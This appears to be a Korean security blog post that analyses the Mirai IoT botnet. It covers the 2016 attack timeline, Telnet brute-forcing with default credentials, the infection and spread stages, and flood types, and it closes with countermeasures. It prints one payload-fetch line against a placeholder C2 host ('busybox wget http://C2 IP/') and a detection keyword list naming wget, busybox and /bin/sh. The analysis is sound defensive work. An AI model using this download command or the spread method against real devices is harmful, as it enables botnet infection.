1. 개요
타임라인 | 설명 |
2016.09.13 | - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행 |
2016.09.18 | - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록 |
2016.09.30 | - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개 - 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중 |
2016.10.21 | - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단) - Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비 |
- 웜 계열의 DDoS 공격 유발 악성코드
- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드
감염 대상 | 설명 |
IoT 기기 | - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용 - 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐 - 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다. * 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위 |
- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포
기능 | 설명 |
스캔 | - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용 - 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도 |
전파 | - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복 - 감염 장비를 확보함으로써 봇넷 형성 * IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음 - 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입 - Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행 - 명령 예제 : busybox wget http://C2 IP/ |
DDoS | - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행 - HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격 |
재부팅 방지 | - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재 - Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지 - 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함 ※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스 |
기타 | - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능 - 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행 - GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음 - 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼 |
2. 분석
- Mirai의 동작원리는 [그림 2] 및 다음과 같음
① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행
① 스캔
- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재
- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정
- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼
- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측
② 악성코드 유포
- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재
③ 감염
- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨
- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴
- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정
④ 유포
- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복
⑤ 봇넷 형성
- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성
- 이후 C2 서버 명령 대기
⑥ DDoS
- Bot Net을 통해 대상 서버에 DDoS 공격을 수행
프로토콜 | 종류 |
TCP | SYN, RST, FIN, ACK, PSH Flooding |
UDP | DNS, ICMP, VSE Flooding |
HTTP | GET, POST, HEAD Flooding |
GRE | GRE Flooding |
3. 대응 방안
- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표
- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음
- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요
3.1 네트워크 측면
① 네트워크 연결 차단
② 포트 점검 및 모니터링
③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링
3.2 사용자 측면
① 초기 ID/PW를 사용하지않고 변경하여 사용
② IoT 기기의 최신 업데이트 적용 및 보안성 점검
3.3 기타
① IoT 기기 초기화
'악성코드 > 분석' 카테고리의 다른 글
제로클릭(Zero-Click) (0) | 2023.02.20 |
---|---|
악성코드와 레지스트리 (1) | 2023.01.08 |
Gh0st RAT(Remote Access Trojan) (0) | 2022.11.28 |
2021.03.28 PHP Git 서버 해킹 사건_백도어 (1) | 2022.11.25 |
C2aaS(C2-as-a-Service) (0) | 2022.11.19 |